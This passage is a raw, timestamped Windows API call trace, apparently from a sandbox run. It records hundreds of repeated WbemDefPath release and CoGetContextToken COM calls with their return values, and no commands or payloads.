[0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x1 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x0 [0141.650] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x1 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x0 [0141.650] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x1 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x0 [0141.650] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0aad0) returned 0x1 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0aad0) returned 0x0 [0141.650] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x1 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x0 [0141.650] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x1 [0141.650] WbemDefPath:IUnknown:Release (This=0x1aa0ad10) returned 0x0 [0141.651] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x1 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0add0) returned 0x0 [0141.651] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x1 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0ae90) returned 0x0 [0141.651] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x1 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0af50) returned 0x0 [0141.651] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0b010) returned 0x1 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0b010) returned 0x0 [0141.651] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x1 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x0 [0141.651] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x1 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x0 [0141.651] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x1 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x0 [0141.651] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x1 [0141.651] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x0 [0141.652] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b550) returned 0x1 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b550) returned 0x0 [0141.652] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x1 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x0 [0141.652] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x1 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x0 [0141.652] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x1 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x0 [0141.652] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x1 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b850) returned 0x0 [0141.652] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x1 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x0 [0141.652] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0ba90) returned 0x1 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0ba90) returned 0x0 [0141.652] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x1 [0141.652] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x0 [0141.652] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x1 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x0 [0141.653] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x1 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0bd90) returned 0x0 [0141.653] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x1 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0be50) returned 0x0 [0141.653] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0bf10) returned 0x1 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0bf10) returned 0x0 [0141.653] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x1 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x0 [0141.653] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x1 [0141.653] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x0 [0141.653] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.653] WbemDefPath:IUnknown:Release (This=0x1bbbece0) returned 0x1 [0141.653] WbemDefPath:IUnknown:Release (This=0x1bbbece0) returned 0x0 [0141.653] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.653] WbemDefPath:IUnknown:Release (This=0x1bbbeda0) returned 0x1 [0141.653] WbemDefPath:IUnknown:Release (This=0x1bbbeda0) returned 0x0 [0141.653] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.653] WbemDefPath:IUnknown:Release (This=0x1bbbee60) returned 0x1 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbee60) returned 0x0 [0141.654] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbef20) returned 0x1 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbef20) returned 0x0 [0141.654] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf0a0) returned 0x1 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf0a0) returned 0x0 [0141.654] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf160) returned 0x1 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf160) returned 0x0 [0141.654] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf220) returned 0x1 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf220) returned 0x0 [0141.654] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf2e0) returned 0x1 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf2e0) returned 0x0 [0141.654] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf3a0) returned 0x1 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf3a0) returned 0x0 [0141.654] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf520) returned 0x1 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf520) returned 0x0 [0141.654] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf5e0) returned 0x1 [0141.654] WbemDefPath:IUnknown:Release (This=0x1bbbf5e0) returned 0x0 [0141.655] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbf6a0) returned 0x1 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbf6a0) returned 0x0 [0141.655] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbf760) returned 0x1 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbf760) returned 0x0 [0141.655] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbf8e0) returned 0x1 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbf8e0) returned 0x0 [0141.655] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbf9a0) returned 0x1 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbf9a0) returned 0x0 [0141.655] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbfa60) returned 0x1 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbfa60) returned 0x0 [0141.655] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbfb20) returned 0x1 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbfb20) returned 0x0 [0141.655] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbfbe0) returned 0x1 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbfbe0) returned 0x0 [0141.655] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbfd60) returned 0x1 [0141.655] WbemDefPath:IUnknown:Release (This=0x1bbbfd60) returned 0x0 [0141.656] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbbfe20) returned 0x1 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbbfe20) returned 0x0 [0141.656] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbbfee0) returned 0x1 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbbfee0) returned 0x0 [0141.656] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbbffa0) returned 0x1 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbbffa0) returned 0x0 [0141.656] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbc0120) returned 0x1 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbc0120) returned 0x0 [0141.656] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbc01e0) returned 0x1 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbc01e0) returned 0x0 [0141.656] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbc02a0) returned 0x1 [0141.656] WbemDefPath:IUnknown:Release (This=0x1bbc02a0) returned 0x0 [0141.656] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0360) returned 0x1 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0360) returned 0x0 [0141.657] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0420) returned 0x1 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0420) returned 0x0 [0141.657] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc05a0) returned 0x1 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc05a0) returned 0x0 [0141.657] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0660) returned 0x1 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0660) returned 0x0 [0141.657] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0720) returned 0x1 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0720) returned 0x0 [0141.657] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc07e0) returned 0x1 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc07e0) returned 0x0 [0141.657] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0960) returned 0x1 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0960) returned 0x0 [0141.657] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0a20) returned 0x1 [0141.657] WbemDefPath:IUnknown:Release (This=0x1bbc0a20) returned 0x0 [0141.658] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bbc0ae0) returned 0x1 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bbc0ae0) returned 0x0 [0141.658] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bbc0ba0) returned 0x1 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bbc0ba0) returned 0x0 [0141.658] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bc1a320) returned 0x1 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bc1a320) returned 0x0 [0141.658] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bc1a4a0) returned 0x1 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bc1a4a0) returned 0x0 [0141.658] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bc1a560) returned 0x1 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bc1a560) returned 0x0 [0141.658] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bc1a620) returned 0x1 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bc1a620) returned 0x0 [0141.658] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bc1a6e0) returned 0x1 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bc1a6e0) returned 0x0 [0141.658] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.658] WbemDefPath:IUnknown:Release (This=0x1bc1a860) returned 0x1 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1a860) returned 0x0 [0141.659] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1a920) returned 0x1 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1a920) returned 0x0 [0141.659] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1a9e0) returned 0x1 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1a9e0) returned 0x0 [0141.659] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1aaa0) returned 0x1 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1aaa0) returned 0x0 [0141.659] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1ab60) returned 0x1 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1ab60) returned 0x0 [0141.659] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1ace0) returned 0x1 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1ace0) returned 0x0 [0141.659] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1ada0) returned 0x1 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1ada0) returned 0x0 [0141.659] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1ae60) returned 0x1 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1ae60) returned 0x0 [0141.659] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1af20) returned 0x1 [0141.659] WbemDefPath:IUnknown:Release (This=0x1bc1af20) returned 0x0 [0141.660] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc1b0a0) returned 0x1 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc1b0a0) returned 0x0 [0141.660] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc1b160) returned 0x1 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc1b160) returned 0x0 [0141.660] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc1b220) returned 0x1 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc1b220) returned 0x0 [0141.660] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc3e900) returned 0x1 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc3e900) returned 0x0 [0141.660] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc3e9c0) returned 0x1 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc3e9c0) returned 0x0 [0141.660] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc3eb40) returned 0x1 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc3eb40) returned 0x0 [0141.660] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc3ec00) returned 0x1 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc3ec00) returned 0x0 [0141.660] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x1 [0141.660] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x0 [0141.661] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3ed80) returned 0x1 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3ed80) returned 0x0 [0141.661] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x1 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3ef00) returned 0x0 [0141.661] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x1 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x0 [0141.661] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x1 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x0 [0141.661] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x1 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x0 [0141.661] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3f200) returned 0x1 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3f200) returned 0x0 [0141.661] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x1 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x0 [0141.661] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x1 [0141.661] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x0 [0141.661] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.662] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x1 [0141.662] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x0 [0141.662] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.662] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x1 [0141.662] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.662] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.662] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.662] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.662] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.662] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.662] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.662] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.663] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.664] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.665] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.665] CoGetContextToken (in: pToken=0x1a92f900 | out: pToken=0x1a92f900) returned 0x0 [0141.665] IUnknown:Release (This=0x1aa18d30) returned 0x0 [0141.666] IUnknown:Release (This=0x1bc75ba0) returned 0x0 [0141.666] IUnknown:Release (This=0x1bc75830) returned 0x0 [0141.666] IUnknown:Release (This=0x1bc754c0) returned 0x0 [0141.666] IUnknown:Release (This=0x1bc75150) returned 0x0 [0141.666] IUnknown:Release (This=0x1bc2b680) returned 0x0 [0141.666] IUnknown:Release (This=0x1aa28520) returned 0x0 [0141.667] IUnknown:Release (This=0x1aa18a80) returned 0x0 [0141.667] IUnknown:Release (This=0x1aa187d0) returned 0x0 [0141.667] IUnknown:Release (This=0x1bc2b310) returned 0x0 [0141.667] IUnknown:Release (This=0x1bc2afa0) returned 0x0 